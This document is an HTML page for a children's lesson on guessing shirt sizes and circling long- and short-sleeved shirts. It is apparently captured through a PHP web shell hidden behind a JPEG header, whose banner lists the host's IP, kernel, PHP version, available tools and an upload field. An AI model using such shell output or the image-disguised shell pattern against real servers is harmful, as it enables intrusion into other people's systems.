????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.107 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/apps/school/www_old/Html/LevelB/Category2/ |
Upload File : |
<!DOCTYPE html>
<html>
<head>
<title>Guess the size of the shirt and circle the long hands and short hands shirts.</title>
<script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>
<style type="text/css">
canvas
{
border:0px solid #d3d3d3;
position:absolute;
display:none;
}
</style>
<script>
function page_preLoad()
{
setPageImages();
shared_setHeaderTable('id_tblHeader', shared_title_page, shared_getSubTitle(Level.B, Category.No2, 9), true, true);
shared_setFooterTable('id_tblFooter', true, true, true, true, true);
shared_setEmptyDropBoxForImageInfo(new Array('id_dropBox_imgChildShirt', 'id_dropBox_imgMenShirt'));
}
function page_onLoad()
{
shared_set_debugInfo(Level.B, Category.No2);
shared_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
getAllGroupsCanvasIdsArray();
drawCircles();
}
function setPageImages()
{
var imagesPath = '../../../img/LevelB/Category2/LevelBCat2Lesson9/';
shared_setImageSource('id_imgChildShirt', imagesPath, 'childShirt.png');
shared_setImageSource('id_imgMenShirt', imagesPath, 'menShirt.png');
shared_setImageSource('id_imgMen', imagesPath, 'men.png');
shared_setImageSource('id_imgChild', imagesPath, 'child.png');
shared_setImageSource('id_imgShortHandsShirt1', imagesPath, 'shortHandsShirt.png');
shared_setImageSource('id_imgLongHandsShirt1', imagesPath, 'longHandsShirt.png');
shared_setImageSource('id_imgShortHandsShirt2', imagesPath, 'shortHandsShirt.png');
shared_setImageSource('id_imgLongHandsShirt2', imagesPath, 'longHandsShirt.png');
}
function btnPrevious_click()
{
window.location = 'LevelBCat2Lesson8.html';
}
function btnNext_click()
{
window.location = 'LevelBCat2Lesson10.html';
}
function btnHome_click()
{
shared_btnHomeCategories_click('LevelB');
}
function DragDrop(id_dropBox, id_imgElement)
{
shared_dragDropImage(shared_currentDropingId, id_dropBox, id_imgElement);
}
function getAllGroupsCanvasIdsArray()
{
var set1IdsArray = ['id_canvas1', 'id_canvas2'];
var set2IdsArray = ['id_canvas3', 'id_canvas4'];
shared_allGroupsIdsArrayInArray = [set1IdsArray, set2IdsArray];
}
function drawCircles()
{
for (var canvasId = 1; canvasId <= 4; canvasId++)
{
shared_canvas_drawCircle('id_canvas' + canvasId, 'id_td' + canvasId);
}
}
function td_click(idCanvas)
{
shared_canvas_showHideCirclesOfCorrespondingGroup(idCanvas, shared_allGroupsIdsArrayInArray);
}
function btnValidate_click()
{
var correctCanvasIdsArray = ['id_canvas2', 'id_canvas3'];
var nCorrectCanvas = shared_canvas_validateCanvases(shared_allGroupsIdsArrayInArray, correctCanvasIdsArray);
var allDraggedElementIdsArray = ['id_drag_imgMen', 'id_drag_imgChild'];
var isAllMoved = shared_isAllInfosMoved(allDraggedElementIdsArray);
if (nCorrectCanvas == 2 && isAllMoved)
{
shared_show_claps_animation('shared_id_div_claps_image');
}
}
</script>
</head>
<body onLoad="page_onLoad()">
<div id="shared_id_div_claps_image">
</div>
<table id="id_tblMainiPadBody" border="1" cellspacing="0" cellpadding="0">
<tr height="5%">
<td>
<header height="100%">
<div id="id_tblHeader" align="center"></div>
</header>
</td>
</tr>
<tr height="*" data-role="page"> <!-- for swiping left and right especially for Android device -->
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td>
<table width="100%" height="100%" border="0px" cellspacing="0" cellpadding="5">
<tr height="*">
<td align="center" style="border-bottom: 0px">
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr height="10%">
<td class="shared_style_text1">Guess the size of the shirt and match:</td>
</tr>
<tr height="*">
<td style="border-top: 0px; border-bottom: 0px; border-left: 0px; border-right: 0px">
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td width="60%" style="border-top: 0px; border-bottom: 0px; border-left: 0px; border-right: 0px">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="45%">
<table width="100%" height="100%" border="0" cellspacing="5" cellpadding="0">
<tr height="50%">
<td align="center">
<img id="id_imgChildShirt">
</td>
</tr>
<tr height="*">
<td align="center">
<img id="id_imgMenShirt">
</td>
</tr>
</table>
</td>
<td width="50%">
<table width="100%" height="100%" border="0" cellspacing="5" cellpadding="0">
<tr height="50%">
<td id="id_dropBox_imgChildShirt"></td>
</tr>
<tr height="*">
<td id="id_dropBox_imgMenShirt"></td>
</tr>
</table>
</td>
<td width="*"> </td>
</tr>
</table>
</td>
<td width="*" style="border-top: 0px; border-bottom: 0px">
<table width="100%" height="100%" border="0" cellspacing="5" cellpadding="0">
<tr height="50%">
<td align="center">
<span id="id_drag_imgMen" class="cls_drag_imgMen">
<img id="id_imgMen"/>
</span>
</td>
</tr>
<tr height="*">
<td align="center">
<span id="id_drag_imgChild" class="cls_drag_imgChild">
<img id="id_imgChild"/>
</span>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="25%">
<td align="center">
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr height="20%">
<td class="shared_style_text1">Circle the shirt with <span class="shared_style_options_red">long hands</span>:</td>
</tr>
<tr>
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td id="id_td1" width="50%" style="text-align:center">
<span onClick="td_click('id_canvas1')">
<img id="id_imgShortHandsShirt1">
<canvas id="id_canvas1"></canvas>
</span>
</td>
<td id="id_td2" width="*" style="text-align:center">
<span onClick="td_click('id_canvas2')">
<img id="id_imgLongHandsShirt1">
<canvas id="id_canvas2"></canvas>
</span>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="25%">
<td align="center">
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr height="20%">
<td class="shared_style_text1">Circle the shirt with <span class="shared_style_options_red">short hands</span>:</td>
</tr>
<tr>
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td id="id_td3" width="50%" style="text-align:center">
<span onClick="td_click('id_canvas3')">
<img id="id_imgShortHandsShirt2">
<canvas id="id_canvas3"></canvas>
</span>
</td>
<td id="id_td4" width="*" style="text-align:center">
<span onClick="td_click('id_canvas4')">
<img id="id_imgLongHandsShirt2">
<canvas id="id_canvas4"></canvas>
</span>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="5%">
<td>
<footer height="100%">
<div id="id_tblFooter" align="center"></div>
</footer>
</td>
</tr>
</table>
<script>
page_preLoad();
new webkit_draggable('id_drag_imgMen', {revert : true, scroll : false, onStart : function(){shared_currentDropingId = 'id_drag_imgMen'}});
new webkit_draggable('id_drag_imgChild', {revert : true, scroll : false, onStart : function(){shared_currentDropingId = 'id_drag_imgChild'}});
webkit_drop.add('id_dropBox_imgMenShirt', {accept : ["cls_drag_imgMen"], onDrop : function(){DragDrop('id_dropBox_imgMenShirt', 'id_imgMen')}});
webkit_drop.add('id_dropBox_imgChildShirt', {accept : ["cls_drag_imgChild"], onDrop : function(){DragDrop('id_dropBox_imgChildShirt', 'id_imgChild')}});
</script>
</body>
</html>